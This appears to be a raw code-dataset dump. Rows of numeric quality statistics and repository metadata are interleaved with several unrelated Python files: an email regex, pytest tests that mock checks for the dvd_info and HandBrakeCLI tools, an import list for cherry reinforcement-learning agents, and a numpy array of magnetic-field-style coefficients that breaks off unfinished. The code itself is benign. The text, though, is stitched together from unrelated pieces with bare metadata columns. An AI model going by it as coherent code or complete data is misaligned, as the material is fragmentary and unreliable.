| 0.097015
| 0.149254
| 0.779851
| 0.723881
| 0.723881
| 0.723881
| 0.723881
| 0.723881
| 0
| 0.001546
| 0.11612
| 732
| 18
| 104
| 40.666667
| 0.826893
| 0.028689
| 0
| 0
| 0
| 0
| 0.169252
| 0
| 0
| 0
| 0
| 0
| 0.363636
| 1
| 0.363636
| false
| 0
| 0.181818
| 0
| 0.636364
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
e266346a79afef1f9fccd0ae023dc7dc1aae7ec4
| 82
|
py
|
Python
|
Egzersiz/canersoy/regexegzersiz2.py
|
ibrahimediz/ornekproje
|
c5ebeafc43a9c6d2aa639d0d95eedbce65991576
|
[
"Apache-2.0"
] | null | null | null |
Egzersiz/canersoy/regexegzersiz2.py
|
ibrahimediz/ornekproje
|
c5ebeafc43a9c6d2aa639d0d95eedbce65991576
|
[
"Apache-2.0"
] | null | null | null |
Egzersiz/canersoy/regexegzersiz2.py
|
ibrahimediz/ornekproje
|
c5ebeafc43a9c6d2aa639d0d95eedbce65991576
|
[
"Apache-2.0"
] | null | null | null |
pattern = r"(\w*)\.?(\w+)@(\w+)\.(\w+)\.?(\w*)"
# email iรงin baลka bir regex yolu
| 41
| 47
| 0.47561
| 13
| 82
| 3
| 0.692308
| 0.205128
| 0.230769
| 0.205128
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121951
| 82
| 2
| 48
| 41
| 0.541667
| 0.378049
| 0
| 0
| 0
| 0
| 0.693878
| 0.693878
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e287c9beb0016455581c661dd30db0e2ddc4ee07
| 4,212
|
py
|
Python
|
tests/rip/test_rip.py
|
My-Little-Cable-Co/rip
|
7d540721fea3d76601ad8af21b307d2ef70701a1
|
[
"MIT"
] | null | null | null |
tests/rip/test_rip.py
|
My-Little-Cable-Co/rip
|
7d540721fea3d76601ad8af21b307d2ef70701a1
|
[
"MIT"
] | 6
|
2020-09-20T03:51:09.000Z
|
2020-11-15T07:01:39.000Z
|
tests/rip/test_rip.py
|
My-Little-Cable-Co/rip
|
7d540721fea3d76601ad8af21b307d2ef70701a1
|
[
"MIT"
] | 1
|
2020-10-05T02:24:18.000Z
|
2020-10-05T02:24:18.000Z
|
import pytest
import subprocess
from rip.rip import Rip
from unittest.mock import patch
@pytest.mark.usefixtures('capsys')
@patch('rip.rip.subprocess.run')
def test_requirements_check__dvd_info_not_in_path(subprocess_run, capsys):
def subprocess_run_side_effect(*args, **kwargs):
if args == (['dvd_info', '--version'],):
# For this test we are testing what happens when dvd_info is not
# in the PATH, so we will mimic this condition by raising a
# FileNotFoundError.
raise FileNotFoundError('dvd_info not in PATH')
elif args == (['HandBrakeCLI', '--version'],):
# For this test we are focused on dvd_info, so we'll assume no
# issues with HandBrakeCLI.
pass
else:
raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}')
subprocess_run.side_effect = subprocess_run_side_effect
# assert the method returned False
assert not Rip().requirements_check()
stdout, stderr = capsys.readouterr()
assert "ERROR, dependency not found: This program requires the 'dvd_info' binary to be in the PATH." in stdout
@pytest.mark.usefixtures('capsys')
@patch('rip.rip.subprocess.run')
def test_requirements_check__dvd_info_in_path(subprocess_run, capsys):
def subprocess_run_side_effect(*args, **kwargs):
if args == (['dvd_info', '--version'],):
# For this test we are testing what happens when dvd_info is in
# the PATH, so we will mimic this condition by doing nothing.
pass
elif args == (['HandBrakeCLI', '--version'],):
# For this test we are focused on dvd_info, so we'll assume no
# issues with HandBrakeCLI.
pass
else:
raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}')
subprocess_run.side_effect = subprocess_run_side_effect
# assert the method returned True
assert Rip().requirements_check()
stdout, stderr = capsys.readouterr()
# assert that nothing was output as the result of running this
assert not stdout
@pytest.mark.usefixtures('capsys')
@patch('rip.rip.subprocess.run')
def test_requirements_check__handbrakecli_not_in_path(subprocess_run, capsys):
def subprocess_run_side_effect(*args, **kwargs):
if args == (['dvd_info', '--version'],):
# For this test we are focused on HandBrakeCLI, so we'll assume no
# issues with dvd_info.
pass
elif args == (['HandBrakeCLI', '--version'],):
# For this test we are testing what happens when HandBrakeCLI is not
# in the PATH, so we will mimic this condition by raising a
# FileNotFoundError.
raise FileNotFoundError('HandBrakeCLI not in PATH')
else:
raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}')
subprocess_run.side_effect = subprocess_run_side_effect
# assert the method returned False
assert not Rip().requirements_check()
stdout, stderr = capsys.readouterr()
assert "ERROR, dependency not found: This program requires the 'HandBrakeCLI' binary to be in the PATH." in stdout
@pytest.mark.usefixtures('capsys')
@patch('rip.rip.subprocess.run')
def test_requirements_check__handbrakecli_in_path(subprocess_run, capsys):
def subprocess_run_side_effect(*args, **kwargs):
if args == (['dvd_info', '--version'],):
# For this test we are focused on HandBrakeCLI, so we'll assume no
# issues with dvd_info.
pass
elif args == (['HandBrakeCLI', '--version'],):
# For this test we are testing what happens when HandBrakeCLI is in
# the PATH, so we will mimic this condition by doing nothing.
pass
else:
raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}')
subprocess_run.side_effect = subprocess_run_side_effect
# assert the method returned True
assert Rip().requirements_check()
stdout, stderr = capsys.readouterr()
# assert that nothing was output as the result of running this
assert not stdout
| 40.114286
| 118
| 0.668091
| 538
| 4,212
| 5.081784
| 0.16171
| 0.114119
| 0.074616
| 0.100951
| 0.958303
| 0.952451
| 0.952451
| 0.952451
| 0.952451
| 0.952451
| 0
| 0
| 0.24264
| 4,212
| 104
| 119
| 40.5
| 0.857053
| 0.268519
| 0
| 0.8
| 0
| 0
| 0.23233
| 0.028796
| 0
| 0
| 0
| 0
| 0.133333
| 1
| 0.133333
| false
| 0.1
| 0.066667
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
2ca54f8e96eb4fa755341211c9fb094048967794
| 140
|
py
|
Python
|
cherry/agents/algorithms.py
|
vishalbelsare/cherry-pytorch
|
7a05b488de1f4a5de52fe7d0f5e639b381da42d4
|
[
"MIT"
] | 11
|
2020-01-28T15:40:25.000Z
|
2021-01-02T23:09:05.000Z
|
cherry/agents/algorithms.py
|
vishalbelsare/cherry-pytorch
|
7a05b488de1f4a5de52fe7d0f5e639b381da42d4
|
[
"MIT"
] | 30
|
2019-12-14T12:11:07.000Z
|
2020-01-29T10:56:13.000Z
|
cherry/agents/algorithms.py
|
vishalbelsare/cherry-pytorch
|
7a05b488de1f4a5de52fe7d0f5e639b381da42d4
|
[
"MIT"
] | 1
|
2020-01-29T13:15:46.000Z
|
2020-01-29T13:15:46.000Z
|
from cherry.agents.dqn import DQN
from cherry.agents.ddqn import DDQN
from cherry.agents.vpg import VPG
from cherry.agents.ddpg import DDPG
| 28
| 35
| 0.828571
| 24
| 140
| 4.833333
| 0.333333
| 0.344828
| 0.551724
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114286
| 140
| 4
| 36
| 35
| 0.935484
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3934da4a8d84067da0519c3a4fc3953e5f05fc67
| 263,436
|
py
|
Python
|
IsabelaFunctions/langlais_coeff.py
|
de-oliveira/IsabelaFunctions
|
6ea9f181f1e9eda90db3e2542d72eaf00caf977b
|
[
"MIT"
] | null | null | null |
IsabelaFunctions/langlais_coeff.py
|
de-oliveira/IsabelaFunctions
|
6ea9f181f1e9eda90db3e2542d72eaf00caf977b
|
[
"MIT"
] | null | null | null |
IsabelaFunctions/langlais_coeff.py
|
de-oliveira/IsabelaFunctions
|
6ea9f181f1e9eda90db3e2542d72eaf00caf977b
|
[
"MIT"
] | null | null | null |
import numpy as np
glm = np.array([[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.5155, -0.60564, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.15374, 0.70921, 1.19916, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.83958, -0.82935, -0.99586, -0.93899, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.02799, -0.92497, 0.08424, 2.22136, 0.47529, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.64218, 0.32097, 0.44752, -0.36357, 0.41367, 0.55534, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.06227, -0.2204, -0.09208, -1.76409, 0.45798, 0.35756, -0.96139, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.96538, 1.23446, -0.74965, 0.46143, 0.15813, 0.55421, 1.07348, 1.41776, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.76442, -3.25832, 0.78112, 1.36215, -0.80495, -0.98059, -1.04749, -2.06498, -0.86578, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.94414, 3.15645, 1.54292, -1.66451, -0.30795, 0.68555, 0.57788, 0.50422, 0.5573, 1.59523, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[2.5935, -0.49887, -4.00854, -0.65887, 1.66064, 0.70543, -0.54557, -0.07971, -0.84307, -1.72513, -0.73739, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.08006, -2.14315, 2.9719, 2.3537, -1.08972, -2.02342, -0.43627, 0.18272, 0.50667, 0.3827, 0.8528, 0.90739, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.93189, 3.18106, -0.11722, -2.1353, -1.71276, 0.66639, 1.1459, -0.04227, -0.02509, 0.90292, -1.39346, -2.31881, -3.13754, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.24093, -2.85358, -2.16069, 2.16929, 3.67268, 1.24134, -0.35545, -0.57465, 0.10119, 0.10829, 0.97516, 2.25809, 2.12674, -0.13523, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.35592, 0.63503, 2.82827, -0.97903, -2.21268, -1.94436, -0.15679, 0.86194, 0.43952, 0.32452, 1.06926, -1.27508, -1.80253, -2.43556, -1.41117, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
